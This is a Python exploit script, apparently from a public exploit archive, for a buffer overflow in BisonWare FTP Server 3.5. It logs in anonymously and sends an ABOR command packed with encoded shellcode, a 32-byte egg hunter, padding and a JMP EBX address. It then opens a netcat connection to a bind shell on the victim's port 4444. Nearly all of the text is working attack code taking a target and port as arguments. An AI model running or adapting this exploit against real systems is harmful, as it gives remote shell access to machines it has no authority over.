BisonWare FTP Server 3.5 Buffer Overflow Exploit

#!/usr/bin/python
# Exploit Title: BisonWare FTP Server Version 3.5 Egg Hunting Exploits
# Date: 22 April,2015
# Exploit Author: Bikash Dash
# www.vulnerableghost.com
# Version: BisonWare FTP Server Version 3.5
# Tested on: Windows XP service pack3
# CVE : [N/A]
import socket, sys, os, time
print "\n================================ "
print " -----Vulnerable Gh0st------------ "
print "       Bikash Dash(0xfb**)          "
print "   Bikash Dash, Chanchal Rastogi,manish Tanwar,Aditya Upadhaya    "
print "  www.vulnerableghost.com "
print "=================================\n"
if len(sys.argv) != 3:
    print "[*] Usage:  %s  <target> <port> \n" % sys.argv[0]
    sys.exit(0)
target = sys.argv[1] #User Passed Argument 1
port = int(sys.argv[2]) #User Passed Argument 2
shellcode = ("w00tw00t" + "\xbd\xa9\x85\x2d\x7f\xda\xd0\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x56\x31\x68\x13\x83\xc0\x04\x03\x68\xa6\x67\xd8\x83\x50\xee"
"\x23\x7c\xa0\x91\xaa\x99\x91\x83\xc9\xea\x83\x13\x99\xbf\x2f"
"\xdf\xcf\x2b\xa4\xad\xc7\x5c\x0d\x1b\x3e\x52\x8e\xad\xfe\x38"
"\x4c\xaf\x82\x42\x80\x0f\xba\x8c\xd5\x4e\xfb\xf1\x15\x02\x54"
"\x7d\x87\xb3\xd1\xc3\x1b\xb5\x35\x48\x23\xcd\x30\x8f\xd7\x67"
"\x3a\xc0\x47\xf3\x74\xf8\xec\x5b\xa5\xf9\x21\xb8\x99\xb0\x4e"
"\x0b\x69\x43\x86\x45\x92\x75\xe6\x0a\xad\xb9\xeb\x53\xe9\x7e"
"\x13\x26\x01\x7d\xae\x31\xd2\xff\x74\xb7\xc7\x58\xff\x6f\x2c"
"\x58\x2c\xe9\xa7\x56\x99\x7d\xef\x7a\x1c\x51\x9b\x87\x95\x54"
"\x4c\x0e\xed\x72\x48\x4a\xb6\x1b\xc9\x36\x19\x23\x09\x9e\xc6"
"\x81\x41\x0d\x13\xb3\x0b\x5a\xd0\x8e\xb3\x9a\x7e\x98\xc0\xa8"
"\x21\x32\x4f\x81\xaa\x9c\x88\xe6\x81\x59\x06\x19\x29\x9a\x0e"
"\xde\x7d\xca\x38\xf7\xfd\x81\xb8\xf8\x28\x05\xe9\x56\x82\xe6"
"\x59\x17\x72\x8f\xb3\x98\xad\xaf\xbb\x72\xd8\xf7\x75\xa6\x89"
"\x9f\x77\x58\x3c\x3c\xf1\xbe\x54\xac\x57\x68\xc0\x0e\x8c\xa1"
"\x77\x70\xe6\x9d\x20\xe6\xbe\xcb\xf6\x09\x3f\xde\x55\xa5\x97"
"\x89\x2d\xa5\x23\xab\x32\xe0\x03\xa2\x0b\x63\xd9\xda\xde\x15"
"\xde\xf6\x88\xb6\x4d\x9d\x48\xb0\x6d\x0a\x1f\x95\x40\x43\xf5"
"\x0b\xfa\xfd\xeb\xd1\x9a\xc6\xaf\x0d\x5f\xc8\x2e\xc3\xdb\xee"
"\x20\x1d\xe3\xaa\x14\xf1\xb2\x64\xc2\xb7\x6c\xc7\xbc\x61\xc2"
"\x81\x28\xf7\x28\x12\x2e\xf8\x64\xe4\xce\x49\xd1\xb1\xf1\x66"
"\xb5\x35\x8a\x9a\x25\xb9\x41\x1f\x55\xf0\xcb\x36\xfe\x5d\x9e"
"\x0a\x63\x5e\x75\x48\x9a\xdd\x7f\x31\x59\xfd\x0a\x34\x25\xb9"
"\xe7\x44\x36\x2c\x07\xfa\x37\x65") #Payload prefixed with w00tw00t tag
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7") #32 bytes egg hunter NtDisplayString
buffer = "\x90"*(1063 - (len(shellcode)+len(egghunter))) #Align the stack
ebx = "\x71\x87\xA1\x7C" #JMP EBX 7CA18771from Shell32.dll
nopsled = "\x90"*205 #205 NOP Sled
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Connecting to %s on port %d" % (target,port)
try:
    s.connect((target,port)) #Connect to BisonWare FTP Server
    s.recv(1024) #Receive 1024 bytes from BisonWare FTP Server
    time.sleep(3) #Wait for 3 seconds before executing next statement
    print "[+] Sending payload"
    s.recv(2000) #Receive 2000 bytes from BisonWare FTP Server
    s.send('USER anonymous\r\n') #Send FTP command 'USER anonymous'
    s.recv(2000) #Receive 2000 bytes from BisonWare FTP Server
    s.send('PASS anonymous\r\n') #Send FTP command 'PASS anonymous'
    s.recv(2000) #Receive 2000 bytes from BisonWare FTP Server
    s.send('ABOR ' + shellcode + buffer + egghunter + ebx + nopsled +'\r\n') #Send FTP command 'ABOR '
    s.close() #Close the socket
    print "[+] Exploit Sent Successfully"
    print "[+] Waiting for 5 sec before spawning shell to " + target + ":4444 \r"
    print "\r"
    time.sleep(5) #Wait for 5 seconds before connection to Bind Shell
    os.system("nc -n " + target + " 4444") #Connect to Bind Shell using netcat
    print "[-] Connection lost from " + target + ":4444 \r"
except:
    print "[-] Could not connect to " + target + ":21\r"
    sys.exit(0) #Exit the Exploit POC code execution

#  0day.today [2018-04-12]  #